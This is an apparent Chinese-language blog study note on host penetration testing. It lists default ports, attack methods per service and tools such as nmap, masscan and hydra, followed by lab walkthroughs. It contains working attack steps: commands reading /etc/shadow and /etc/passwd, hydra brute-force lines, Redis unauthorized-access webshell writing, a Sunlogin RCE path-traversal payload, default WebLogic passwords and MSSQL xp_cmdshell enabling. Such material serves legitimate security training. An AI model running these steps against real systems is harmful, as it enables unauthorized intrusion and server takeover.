• DAY27:主机渗透测试


    DAY27:主机渗透测试

    1、主机渗透的概述

    请添加图片描述

    1.1、主机渗透基础

    所面对的对象都有哪些

    主机:Linux、Windows(ubuntu系列、Centos系列、红帽系列、麒麟系列等等操作系统)

    终端:手机、路由器、IOT设备、安全设备等等

    请添加图片描述

    1.2、所需要了解的名词都有哪些

    端口:可以认为是设备与外界通讯交流的出口。端口可分为虚拟端口和物理端口,其中虚拟端口指计算机 内部或交换机路由器内的端口,不可见。例如计算机中的80端口、21端口、23端口等。物理端口又称为接口,是可见端口,计算机背板的RJ45网口,交换机路由器集线器等 RJ45 端口。电话使用RJ11插口也属于物理端口的范畴

    服务:以提供某种持续化状态的进程或者应用,例如Web服务是提供持续化的80端口的应用服务

    权限:为了划分用户所能操作的范围,根据能操作的内容会分为不同的权限,例如普通用户权限,管理员 权限,超级管理员权限等等

    指纹:是指某个设备或者软件所携带的本类设备所特有的一些特征,例如如何判断是 windows 或者 Linux

    1.3、主机渗透常见命令

    查看主机存活性:ping 
    查看主机是否开放端口:telnet 
    查看连接情况:netstat –an 
    查看IP地址:ipconfig(windows下)、ifconfig(linux下)、ip addr
    查看hex:cat /etc/shadow
    查看系统配置:uname -an
    查看可登录用户:cat /etc/passwd
    查看所有执行命令的文件:cat .bash_history
    查看历史登录信息:last
    开机执行文件:cat .profile
    回收站:cd /tmp
    开机计划任务文件:/etc/rc.log
    文件:pa -axu ;cd /proc/ ;ls
    环境变量:cat environ
    定时任务:crontab -1
    windows下的查看:type \文件路径
    添加新用户:net localgroup Administrators 你要加入的用户名 /add
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    /etc/apparmor.d/usr.sbin.mysqld
    show variables like '%datadir%';
    show global variables like '%secure%';
    
    1、secure_file_priv   修改为空
    2、/etc/apparmor.d/usr.sbin.mysqld 添加/var/www/html/** rw,
    3、给html目录777权限
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    1.4、主机渗透常见用工具

    Nmap
    Hydra
    MSF
    nessus
    
    • 1
    • 2
    • 3
    • 4

    2、主机渗透常用端口

    1、 端口的banner信息

    2、 端口上运行的服务

    3、 常见应用的默认端口

    2.1、服务默认端口

    公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;

    21号端口:文件传输协议 - 控制端口
    22号端口:SSH (Secure Shell)- 远程登录协议
    23号端口:Telnet 终端仿真协议 - 未加密文本通信
    25号端口:SMTP (简单邮件传输协议)
    80号端口:超文本传输协议 - 用于传输网页
    443号端口:超文本传输安全协议 - 超文本传输协议 over TLS/SSL (加密传输)
    445号端口:SMB文件共享
    3306号端口:MySQL 数据库系统
    3389号端口:远程桌面协议(RDP)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;

    2.2、FTP服务

    ftp服务我分为两种情况

    第一种是使用系统软件来配置,比如IIS中的 FTP文件共享或Linux中的默认服务软件;

    第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;

    默认端口
    20(数据端口);
    21(控制端口);
    69(tftp小型文件传输协议)
    
    • 1
    • 2
    • 3
    • 4

    2.3、SMB服务

    Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;

    Samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。

    默认端口:

    137(主要用户NetBIOS Name Service;NetBIOS名称服务)
    139 (NetBIOS Session Service,主要提供samba服务) 
    弱口令(爆破工具采用hydra)hydra -l username -P
    
    • 1
    • 2
    • 3

    2.4、LDAP服务

    LDAP:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;

    这些问题的出现也都是因为配置不当而造成的。

    默认端口:389
    攻击方式:
    注入攻击:盲注
    未授权访问:
    爆破:弱口令
    
    • 1
    • 2
    • 3
    • 4
    • 5

    2.5、SSH 服务

    SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;

    默认端口:22
    攻击方式
    爆破:弱口令、
    漏洞:28退格漏洞、OpenSSL漏洞
    
    • 1
    • 2
    • 3
    • 4

    2.6、Telnet 服务

    Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;

    比如cisco、华三,深信服等厂商的设备;可以通过 telnet 弱口令控制这些设备;

    默认端口:23
    攻击方式
    爆破:弱口令
    嗅探:此种情况一般发生在局域网;
    
    • 1
    • 2
    • 3
    • 4

    2.7、RDP 服务(远程桌面服务)

    远程桌面连接:作为 windows 上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;

    一种是内网,需要先将目标机3389端口反弹到外网;

    另一种就是外网,我们可以直接访问;

    当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;

    默认端口:3389
    攻击方式:
    爆破:3389端口爆破工具就有点多了
    Shift粘滞键后门:5次shift后门
    3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机
    
    • 1
    • 2
    • 3
    • 4
    • 5

    2.8、VNC服务

    VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;

    默认端口:5900+桌面ID(5901;5902) 
    攻击方式: 爆破:弱口令 
    认证口令绕过: 
    拒绝服务攻击:(CVE-2015-5239) 
    权限提升:(CVE-2013-6886)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    2.9、Web 服务

    HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;

    注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;

    2.10、IIS 服务

    默认端口:80/81/443 
    攻击方式:
    IIS PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上 
    短文件名泄漏:这种一般没啥影响 
    解析漏洞:详细见apache服务
    
    • 1
    • 2
    • 3
    • 4
    • 5

    2.11、apache、tomcat 等服务

    默认端口:80/8080
    攻击方式:
    爆破:弱口令(爆破manager后台)
    HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
    
    • 1
    • 2
    • 3
    • 4

    2.12、中间件:weblogic

    默认端口:7001
    攻击方式:
    爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123)
    portaladmin guest
    Congsole后台部署webshell
    Java反序列化
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    2.13、MySQL服务

    默认端口:3306
    攻击方式:
    爆破:弱口令
    身份认证漏洞:CVE-2012-2122
    拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器
    Phpmyadmin万能密码绕过:用户名:‘localhost’@’@” 密码任意
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    2.14、MSSQL服务

    默认端口:1433(Server 数据库服务)、1434(Monitor 数据库监控)
    攻击方式:
    爆破:弱口令/使用系统用户
    利用MSSQL提权
    
    • 1
    • 2
    • 3
    • 4

    2.15、Redis 服务

    redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库

    关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问

    默认端口:6379
    攻击方式:
    爆破:弱口令
    未授权访问+配合ssh key提权;
    
    • 1
    • 2
    • 3
    • 4
    redis数据库写文件
    config set dir /var/www/html
    set xxx "/n/n"
    config set dbfilename xxx.php
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5

    2.16、ES服务

    elasticsearch:非关系型数据库
    默认端口:9200()、9300()
    攻击方式:
    未授权访问;
    远程命令执行;
    文件遍历;
    低版本webshell植入;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    3、思路总结:

    请添加图片描述请添加图片描述
    请添加图片描述

    4、主机渗透常用工具

    4.1、nmap 扫描工具

    kali 自带工具,扫描可调速,有详细信息划分,扫描等级等等,扫描利器

    Nmap使用指南 · Ywc’s blog (yinwc.github.io)

    nmap -v -A scanme.nmap.org				
    nmap -v -sn 192.168.0.0/16 10.0.0.0/8
    nmap -v -iR 10000 -Pn -p 80
    
    • 1
    • 2
    • 3

    请添加图片描述

    4.2、masscan 扫描工具

    据说 2小时跑完互联网,真的不试一试嘛

    kali 自带工具,速度极快,但不会显示具体信息,可以配合 telnet 使用

    masscan -p80,8000-8100 10.0.0.0/8 --rate=10000
    scan some web ports on 10.x.x.x at 10kpps
    masscan --nmap
    list those options that are compatible with nmap
    masscan -p80 10.0.0.0/8 --banners -oB 
    save results of scan in binary format to 
    masscan --open --banners --readscan  -oX 
    read binary scan results in  and save them as xml in 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    请添加图片描述

    4.3、hydra 九头蛇弱口令爆破工具

    kali 自带工具,可以爆破任意指定端口弱口令,需要字典,会将符合条件的输出

    请添加图片描述请添加图片描述

    hydra -L dic/username.txt -P dic/password.txt ssh://your ip:22
    
    • 1

    4.4、破解hscan、x-scan、超级弱口令、S-Xing 弱口令扫描工具

    极力推荐超级弱口令工具,自带字典,端口一键式扫描爆破,傻瓜式操作
    请添加图片描述

    5、主机渗透漏洞利用

    5.1、端口扫描

    端口扫描:
    nmap -p 1-65535 -T4 -A -v ip
    
    • 1
    • 2

    请添加图片描述请添加图片描述

    5.2、操作系统扫描

    nmap -O ip
    
    • 1

    请添加图片描述

    5.3、端口爆破利用实战—ssh爆破

    请添加图片描述

    5.4、端口爆破利用实战—MySQL爆破

    hydra、超级弱口令检查工具都可

    hydra.exe -L user.txt -P passwd.txt mysql://ip:3306
    
    • 1

    请添加图片描述

    5.5、端口爆破利用实战—MSSQL爆破

    请添加图片描述

    5.6、端口爆破利用实战—Tomcat爆破

    请添加图片描述请添加图片描述

    6、实战

    6.1、redis

    nmap -A -Pn -v -p1-65535  target
    nmap ip
    
    • 1
    • 2

    请添加图片描述

    扫描到端口

    请添加图片描述

    爆破成功
    请添加图片描述

    找到的插件,使用redis-cli.exe文件,打开cmd
    请添加图片描述

    成功,写一个webshell上传

    config set dir /var/www/html
    set xxx "/n/n"
    config set dbfilename xxx.php
    save
    
    • 1
    • 2
    • 3
    • 4

    因为在 /var/www/html,所以可以直接执行,蚁剑连接 getshell
    请添加图片描述

    6.2、向日葵 rce

    目标为提前连接好向日葵的主机(漏洞版本向日葵是<=11.0.0.33版本的)

    使用 nmap 扫描,一般在40000朝上,发现49156是相应端口
    请添加图片描述

    浏览器访问ip+端口号+cgi-bin/rpc?action=verify-haras(获取session值CID)一个一个端口尝试

    http://yourip:port/cgi-bin/rpc?action=verify-haras
    
    • 1

    请添加图片描述

    {"__code":0,"enabled":"1","verify_string":"xNgzTtNIdKYq6v4djTx1wvUfJ1Ph51kX","code":0} 
    
    • 1

    拿到CID-添加payload和cookie-发送,构建payload:

    http://192.168.182.13:49156/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20whoami
    
    • 1

    请添加图片描述

    成功

    6.3、未授权利用实战

    请添加图片描述

    redis-cli -h 10.91.214.205
    CONFIG SET dir /var/www/html
    CONFIG SET dbfilename shell.php
    SET shell ""
    save
    
    • 1
    • 2
    • 3
    • 4
    • 5

    https://blog.51cto.com/u_15127519/4564997

    6.4、MSSQL的提权

    请添加图片描述

    启用:
    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    执行:
    EXEC master.dbo.xp_cmdshell '命令'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
  • 相关阅读:
    数据结构与算法之美学习笔记:53 | 算法实战(二):剖析搜索引擎背后的经典数据结构和算法
    VUE [入门篇]
    2023最新SSM计算机毕业设计选题大全(附源码+LW)之java慢性病个人管理系统466cs
    StarRocks 运维工具 StarGo
    CodeToN cf #3 Div.1+2 (A-D)
    【微信小程序】如何上传uniApp开发的微信小程序?
    Python GIL
    开利网络与大学生“欹异杯”短视频创意与带货大赛达成战略合作关系
    好用的电容笔有哪些?2022年电容笔十大品牌排行榜
    自定义View5 -塔防小游戏:第二篇防御塔随意放置
  • 原文地址:https://blog.csdn.net/qq_49433473/article/details/126275243